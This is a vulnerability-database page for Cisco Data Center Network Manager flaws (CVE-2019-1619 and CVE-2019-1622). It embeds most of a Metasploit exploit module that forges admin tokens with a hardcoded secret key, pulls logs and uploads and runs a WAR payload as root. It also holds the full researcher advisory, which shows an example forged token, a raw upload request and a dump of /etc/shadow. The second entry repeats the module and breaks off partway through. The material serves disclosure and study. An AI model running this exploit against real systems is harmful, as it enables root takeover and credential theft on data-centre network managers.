VARIoT IoT vulnerabilities database

Affected products: vendor, model and version
CWE format is 'CWE-number'. Threat type can be: remote or local
Look up free text in title and description

VAR-201906-0566 CVE-2019-1619 Cisco Data Center Network Manager Vulnerabilities in access control CVSS V2: 7.5
CVSS V3: 9.8
Severity: CRITICAL
A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to bypass authentication and execute arbitrary actions with administrative privileges on an affected device. The vulnerability is due to improper session management on affected DCNM software. An attacker could exploit this vulnerability by sending a crafted HTTP request to the affected device. A successful exploit could allow the attacker to gain administrative access on the affected device. Cisco Data Center Network Manager (DCNM) Contains an access control vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Cisco DataCenter NetworkManager (DCNM) is Cisco's suite of data center network managers that enable multi-protocol management of the network and provide troubleshooting capabilities for the health and performance of the switch. This may lead to further attacks. This issue is being tracked by Cisco bug ID CSCvo64641. This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should work on a few versions below 10.4(2). }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-1619' ], # auth bypass [ 'CVE', '2019-1620' ], # file upload [ 'CVE', '2019-1622' ], # log download [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ], [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic', {} ], [ 'Cisco DCNM 11.1(1)', {} ], [ 'Cisco DCNM 11.0(1)', {} ], [ 'Cisco DCNM 10.4(2)', {} ] ], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10 }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 26 2019' )) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Connect with TLS', true]), OptString.new('TARGETURI', [true, "Default server path", '/']), OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']), OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']), ]) end def check # at the moment this is the best way to detect # check if pmreport and fileUpload servlets return a 500 error with no params res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), 'vars_get' => { 'token' => rand_text_alpha(5..20) }, 'method' => 'GET' ) if res && res.code == 500 res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), 'method' => 'GET', ) if res && res.code == 500 return CheckCode::Detected end end CheckCode::Unknown end def target_select if target != targets[0] return target else res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'), 'method' => 'GET' ) if res && res.code == 200 if res.body.include?('version":"11.1(1)') print_good("#{peer} - Detected DCNM 11.1(1)") print_status("#{peer} - No authentication required, ready to exploit!") return targets[1] elsif res.body.include?('version":"11.0(1)') print_good("#{peer} - Detected DCNM 11.0(1)") print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit") return targets[2] elsif res.body.include?('version":"10.4(2)') print_good("#{peer} - Detected DCNM 10.4(2)") print_status("#{peer} - No authentication required, ready to exploit!") return targets[3] else print_error("#{peer} - Failed to detect target version.") print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!") print_error(res.body) print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass") return targets[3] end end fail_with(Failure::NoTarget, "#{peer} - Failed to determine target") end end def auth_v11 res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET', 'vars_get' => { 'userName' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }, ) if res && res.code == 200 # get the JSESSIONID cookie if res.get_cookies res.get_cookies.split(';').each do |cok| if cok.include?("JSESSIONID") return cok end end end end end def auth_v10 # step 1: get a JSESSIONID cookie and the server Date header res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET' ) # step 2: convert the Date header and create the auth hash if res && res.headers['Date'] jsession = res.get_cookies.split(';')[0] date = Time.httpdate(res.headers['Date']) server_date = date.strftime("%s").to_i * 1000 print_good("#{peer} - Got sysTime value #{server_date.to_s}") # auth hash format: # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF session_id = rand(1000..50000).to_s md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s + "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" md5_str = Base64.strict_encode64(md5) # step 3: authenticate our cookie as admin # token format: sessionId.sysTime.md5_str.username res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), 'cookie' => jsession, 'vars_get' => { 'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin" }, 'method' => 'GET' ) if res && res.code == 500 return jsession end end end # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log def get_war_path res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'), 'method' => 'GET' ) if res && res.code == 200 tmp = Tempfile.new # we have to drop this into a file first # else we will get a Zip::GPFBit3Error if we use an InputStream File.binwrite(tmp, res.body) Zip::File.open(tmp) do |zis| zis.each do |entry| if entry.name =~ /jboss[0-9]*\.log/ fdata = zis.read(entry) if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/] tmp.close tmp.unlink return $1.strip end end end end end end def exploit target = target_select if target == targets[2] jsession = auth_v11 elsif target == targets[3] jsession = auth_v10 end # targets[1] DCNM 11.1(1) doesn't need auth! if jsession.nil? && target != targets[1] fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie") elsif target != targets[1] print_good("#{peer} - Successfully authenticated our JSESSIONID cookie") end war_path = get_war_path if war_path.nil? or war_path.empty? fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs") else print_good("#{peer} - Obtain WAR path from logs: #{war_path}") end # Generate our payload... and upload it app_base = rand_text_alphanumeric(6..16) war_payload = payload.encoded_war({ :app_name => app_base }).to_s fname = app_base + '.war' post_data = Rex::MIME::Message.new post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"") post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"") post_data.add_part(war_payload, "application/octet-stream", 'binary', "form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"") data = post_data.to_s print_status("#{peer} - Uploading payload...") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), 'method' => 'POST', 'data' => data, 'cookie' => jsession, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" ) if res && res.code == 200 && res.body[/#{fname}/] print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...") sleep 10 print_status("#{peer} - Executing payload...") send_request_cgi( 'uri' => normalize_uri(target_uri.path, app_base), 'method' => 'GET' ) else fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file") end end end . DCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale. DCNM 11.1(1) and below is affected by four vulnerabilities: authentication bypass, arbitrary file upload (leading to remote code execution), arbitrary file download and information disclosure via log download. The table below lists the affected versions for each vulnerability: Vulnerability Vulnerable? CVE <= 10.4(2) 11.0(1) 11.1(1) >= 11.2(1) Authentication bypass Yes No No No 2019-1619 File upload Yes, auth Yes, auth Yes, unauth No 2019-1620 File download Yes, auth Yes, auth Yes, unauth No 2019-1621 Info disclosure Yes, unauth Yes, unauth Yes, unauth ? 2019-1622 The authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution. In version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure. Amazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication! All vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown. To achieve remote code execution with arbitrary file upload vulnerability, an attacker can write a WAR file in the Tomcat webapps folder. The Apache Tomcat server is running as root, meaning that the Java shell will run as root. Agile Information Security would like to thank the iDefense Vulnerability Contributor Program for handling the disclosure process with Cisco [1]. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus® and Cisco Multilayer Distributed Switching (MDS) solutions. DCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3]. The snippet of code below shows what the servlet does: com.cisco.dcbu.web.client.performance.ReportServlet public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)request.getSession().getAttribute("credentials"); if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) { request.setAttribute("popUpSessionTO", "true"); } this.doInteractiveChart(request, response); } The request is passed on to the verifyToken function, listed below: private boolean verifyToken(HttpServletRequest httpServletRequest) { String token = httpServletRequest.getParameter("token"); if(token == null) { return false; } else { try { FMServerRif serverRif = SQLLoader.getServerManager(); IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString())); token = URLDecoder.decode(token, "UTF-8"); token = token.replace(' ', '+'); FMUserBase fmUserBase = isc.verifySSoToken(token); if(fmUserBase == null) { return false; } else { Credentials newCred = new Credentials(); int idx = fmUserBase.getUsername().indexOf(64); newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); newCred.setRole(fmUserBase.getRole()); newCred.setAuthenticated(true); httpServletRequest.getSession().setAttribute("credentials", newCred); return true; } } catch (Exception var8) { var8.printStackTrace(); return false; } } } As it can be seen in the line: FMUserBase fmUserBase = isc.verifySSoToken(token); the HTTP request parameter "token" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session. Let's dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl: public FMUserBase verifySSoToken(String ssoToken) { return SecurityManager.verifySSoToken(ssoToken); } Digging further into SecurityManager.verifySSoToken: com.cisco.dcbu.sm.server.security.SecurityManager public static FMUserBase verifySSoToken(String ssoToken) { String userName = null; FMUserBase fmUserBase = null; FMUser fmUser = null; try { userName = getSSoTokenUserName(ssoToken); if(confirmSSOToken(ssoToken)) { fmUser = UserManager.getInstance().findUser(userName); if(fmUser != null) { fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles()); } if(fmUserBase == null) { fmUserBase = DCNMUserImpl.getFMUserBase(userName); } if(fmUserBase == null) { fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken)); } } } catch (Exception var5) { _Logger.info("verifySSoToken: ", var5); } return fmUserBase; } As it can be seen in the code above, the username is obtained from the token here: userName = getSSoTokenUserName(ssoToken); Digging yet another layer we find the following: public static String getSSoTokenUserName(String ssoToken) { return getSSoTokenDetails(ssoToken)[3]; } private static String[] getSSoTokenDetails(String ssoToken) { String[] ret = new String[4]; String separator = getTokenSeparator(); StringTokenizer st = new StringTokenizer(ssoToken, separator); if(st.hasMoreTokens()) { ret[0] = st.nextToken(); ret[1] = st.nextToken(); ret[2] = st.nextToken(); for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) { ; } } return ret; } Seems like the token is a string which is separated by the "separator" with four components, the fourth of which is the username. Now going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called: public static FMUserBase verifySSoToken(String ssoToken) { (...) userName = getSSoTokenUserName(ssoToken); if(confirmSSOToken(ssoToken)) { fmUser = UserManager.getInstance().findUser(userName); if(fmUser != null) { fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles()); } (...) } public static boolean confirmSSOToken(String ssoToken) { String userName = null; int sessionId = false; long sysTime = 0L; String digest = null; int count = false; boolean ret = false; try { String[] detail = getSSoTokenDetails(ssoToken); userName = detail[3]; int sessionId = Integer.parseInt(detail[0]); sysTime = (new Long(detail[1])).longValue(); if(System.currentTimeMillis() - sysTime > 600000L) { return ret; } digest = detail[2]; if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) { ret = true; userNameTLC.set(userName); } } catch (Exception var9) { _Logger.info("confirmSSoToken: ", var9); } return ret; } Now we can further understand the token. It seems it is composed of: sessionId + separator + sysTime + separator + digest + separator + username And what is the digest? Let's look into the getMessageDigest function: private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception { String input = userName + sessionid + sysTime + SECRETKEY; MessageDigest md = MessageDigest.getInstance(algorithm); md.update(input.getBytes()); return new String(Base64.encodeBase64((byte[])md.digest())); } It is nothing more than the MD5 of: userName + sessionid + sysTime + SECRETKEY ... and SECRETKEY is a fixed key in the code: private static final String SECRETKEY = "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"; ... while the separator is a ".": private static String getTokenSeparator() { return System.getProperty("security.tokenSeparator", "."); } In summary, this is what happens: The ReportServlet will happily authenticate any request, as long as it receives a token in the following format: sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username The sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here's an example token: GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin This request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user. Note that the user has to be valid. The "admin" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system. Unfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version. In 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below: private boolean verifyToken(HttpServletRequest httpServletRequest) { (...) Credentials newCred = new Credentials(); int idx = fmUserBase.getUsername().indexOf(64); newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here newCred.setRole(fmUserBase.getRole()); newCred.setAuthenticated(true); httpServletRequest.getSession().setAttribute("credentials", newCred); return true; } } catch (Exception var8) { var8.printStackTrace(); return false; } (...) } The exception returned is a "com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded". This will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it. I believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident. On version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error. An authenticated user can abuse this servlet to upload files to an arbitrary directory and ultimately achieve remote code execution [4]. The code for this servlet is listed below: com.cisco.dcbu.web.client.reports.FileUploadServlet public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doGet(request, response); } public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials")); if (cred == null || !cred.isAuthenticated()) { throw new ServletException("User not logged in or Session timed out."); } this.handleUpload(request, response); } The code shown above is simple, and the request is passed onto handleUpload: private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType(CONTENT_TYPE); PrintWriter out = null; ArrayList<String> allowedFormats = new ArrayList<String>(); allowedFormats.add("jpeg"); allowedFormats.add("png"); allowedFormats.add("gif"); allowedFormats.add("jpg"); allowedFormats.add("cert"); File disk = null; FileItem item = null; DiskFileItemFactory factory = new DiskFileItemFactory(); String statusMessage = ""; String fname = ""; String uploadDir = ""; ListIterator iterator = null; List items = null; ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory); TransformerHandler hd = null; try { out = response.getWriter(); StreamResult streamResult = new StreamResult(out); SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance(); items = upload.parseRequest(request); iterator = items.listIterator(); hd = tf.newTransformerHandler(); Transformer serializer = hd.getTransformer(); serializer.setOutputProperty("encoding", "UTF-8"); serializer.setOutputProperty("doctype-system", "response.dtd"); serializer.setOutputProperty("indent", "yes"); serializer.setOutputProperty("method", "xml"); hd.setResult(streamResult); hd.startDocument(); AttributesImpl atts = new AttributesImpl(); hd.startElement("", "", "response", atts); while (iterator.hasNext()) { atts.clear(); item = (FileItem)iterator.next(); if (item.isFormField()) { if (item.getFieldName().equalsIgnoreCase("fname")) { fname = item.getString(); } if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) { uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf"; } atts.addAttribute("", "", "id", "CDATA", item.getFieldName()); hd.startElement("", "", "field", atts); hd.characters(item.getString().toCharArray(), 0, item.getString().length()); hd.endElement("", "", "field"); atts.clear(); continue; } ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream()); Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream); ImageReader imageReader = null; if (imageReaders.hasNext()) { imageReader = imageReaders.next(); } try { String imageFormat = imageReader.getFormatName(); String newFileName = fname + "." + imageFormat; if (allowedFormats.contains(imageFormat.toLowerCase())) { FileFilter fileFilter = new FileFilter(); fileFilter.setImageTypes(allowedFormats); File[] fileList = new File(uploadDir).listFiles(fileFilter); for (int i = 0; i < fileList.length; ++i) { new File(fileList[i].getAbsolutePath()).delete(); } disk = new File(uploadDir + File.separator + fname); item.write(disk); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); } imageReader.dispose(); imageInputStream.close(); atts.addAttribute("", "", "id", "CDATA", newFileName); } catch (Exception ex) { this.processUploadedFile(item, uploadDir, fname); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); atts.addAttribute("", "", "id", "CDATA", fname); } hd.startElement("", "", "file", atts); hd.characters(statusMessage.toCharArray(), 0, statusMessage.length()); hd.endElement("", "", "file"); } hd.endElement("", "", "response"); hd.endDocument(); out.close(); } catch (Exception e) { out.println(e.getMessage()); } } handleUpload is more complex, but here's a summary; the function takes an HTTP form with a parameter "uploadDir", a parameter "fname" and then takes the last form object and writes it into "uploadDir/fname". However, there is a catch... the file has to be a valid image with one of the extensions listed here: allowedFormats.add("jpeg"); allowedFormats.add("png"); allowedFormats.add("gif"); allowedFormats.add("jpg"); allowedFormats.add("cert"); However, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this: try { String imageFormat = imageReader.getFormatName(); ... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block: catch (Exception ex) { this.processUploadedFile(item, uploadDir, fname); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); atts.addAttribute("", "", "id", "CDATA", fname); ... meaning that the file contents, upload dir and its name are sent into processUploadedFile. Let's look into that now: private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception { try { int offset; int contentLength = (int)item.getSize(); InputStream raw = item.getInputStream(); BufferedInputStream in = new BufferedInputStream(raw); byte[] data = new byte[contentLength]; int bytesRead = 0; for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) { } in.close(); if (offset != contentLength) { throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes"); } FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname); out.write(data); out.flush(); out.close(); } catch (Exception ex) { throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage()); } } Amazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated. In summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root. If we send the following request: POST /fm/fileUpload HTTP/1.1 Host: 10.75.1.40 Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; Content-Length: 429 Content-Type: multipart/form-data; boundary=---------------------------9313517619947 -----------------------------9313517619947 Content-Disposition: form-data; name="fname" owned -----------------------------9313517619947 Content-Disposition: form-data; name="uploadDir" /tmp/ -----------------------------9313517619947 Content-Disposition: form-data; name="filePath"; filename="whatever" Content-Type: application/octet-stream <any text or binary content here> -----------------------------9313517619947-- The server will respond with: HTTP/1.1 200 OK X-FRAME-OPTIONS: SAMEORIGIN Content-Type: text/xml;charset=utf-8 Date: Mon, 03 Sep 2018 00:57:11 GMT Connection: close Server: server <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE response SYSTEM "response.dtd"> <response> <field id="fname">owned</field> <field id="uploadDir">/tmp/</field> <file id="whatever">File successfully written to server at 09.02.18 05:57:11 PM</file> </response> And our file has been written as root on the server: [root@dcnm_vm ~]# ls -l /tmp/ (...) -rw-r--r-- 1 root root 16 Sep 2 17:57 owned (...) Finally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution. A Metasploit module that exploits this vulnerability has been released with this advisory. An authenticated user can abuse this servlet to download arbitrary files as root [5]. The code below shows the servlet request processing code: com.cisco.dcbu.web.client.util.DownloadServlet public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials")); if (cred == null || !cred.isAuthenticated()) { throw new ServletException("User not logged in or Session timed out."); } String showFile = (String)request.getAttribute("showFile"); if (showFile == null) { showFile = request.getParameter("showFile"); } File f = new File(showFile); if (showFile.endsWith(".cert")) { response.setContentType("application/octet-stream"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;"); } else if (showFile.endsWith(".msi")) { response.setContentType("application/x-msi"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";"); } else if (showFile.endsWith(".xls")) { response.setContentType("application/vnd.ms-excel"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";"); } ServletOutputStream os = response.getOutputStream(); FileInputStream is = new FileInputStream(f); byte[] buffer = new byte[4096]; int read = 0; try { while ((read = is.read(buffer)) > 0) { os.write(buffer, 0, read); } os.flush(); } catch (Exception e) { LogService.log(LogService._WARNING, e.getMessage()); } finally { is.close(); } } } As you can see, it's quite simple. It takes a "showFile" request parameter, reads that file and returns to the user. Here's an example of the servlet in action: Request: GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1 Host: 10.75.1.40 Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; Response: HTTP/1.1 200 OK root:$1$(REDACTED).:17763:0:99999:7::: bin:*:15980:0:99999:7::: daemon:*:15980:0:99999:7::: adm:*:15980:0:99999:7::: lp:*:15980:0:99999:7::: (...) An interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code. A Metasploit module that exploits this vulnerability has been released with this advisory. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6]. To access it, simply request: GET /fm/log/fmlogs.zip Code is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet. >> Fix: For #1, upgrade to DCNM 11.0(1) and above [3]. For #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5]. For #4, it is not clear from Cisco's advisory on which version it was fixed [6]. >> References: [1] https://www.accenture.com/us-en/service-idefense-security-intelligence [2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html [3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass [4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex [5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld [6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl >> Disclaimer: Please note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly. Agile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. It is the vendor's responsibility to ensure their products' security before, during and after release to market. All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3). For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. For more information check https://www.gnu.org/licenses/gpl-3.0.en.html ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business
VAR-201906-0569 CVE-2019-1622 Cisco Data Center Network Manager Access control vulnerability CVSS V2: 5.0
CVSS V3: 5.3
Severity: MEDIUM
A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to retrieve sensitive information from an affected device. The vulnerability is due to improper access controls for certain URLs on affected DCNM software. An attacker could exploit this vulnerability by connecting to the web-based management interface of an affected device and requesting specific URLs. A successful exploit could allow the attacker to download log files and diagnostic information from the affected device. An attacker can exploit this issue to obtain sensitive information that may aid in further attacks. This issue is being tracked by Cisco Bug ID CSCvo64654. This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should work on a few versions below 10.4(2). }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-1619' ], # auth bypass [ 'CVE', '2019-1620' ], # file upload [ 'CVE', '2019-1622' ], # log download [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ], [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic', {} ], [ 'Cisco DCNM 11.1(1)', {} ], [ 'Cisco DCNM 11.0(1)', {} ], [ 'Cisco DCNM 10.4(2)', {} ] ], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10 }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 26 2019' )) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Connect with TLS', true]), OptString.new('TARGETURI', [true, "Default server path", '/']), OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']), OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']), ]) end def check # at the moment this is the best way to detect # check if pmreport and fileUpload servlets return a 500 error with no params res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), 'vars_get' => { 'token' => rand_text_alpha(5..20) }, 'method' => 'GET' ) if res && res.code == 500 res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), 'method' => 'GET', ) if res && res.code == 500 return CheckCode::Detected end end CheckCode::Unknown end def target_select if target != targets[0] return target else res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'), 'method' => 'GET' ) if res && res.code == 200 if res.body.include?('version":"11.1(1)') print_good("#{peer} - Detected DCNM 11.1(1)") print_status("#{peer} - No authentication required, ready to exploit!") return targets[1] elsif res.body.include?('version":"11.0(1)') print_good("#{peer} - Detected DCNM 11.0(1)") print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit") return targets[2] elsif res.body.include?('version":"10.4(2)') print_good("#{peer} - Detected DCNM 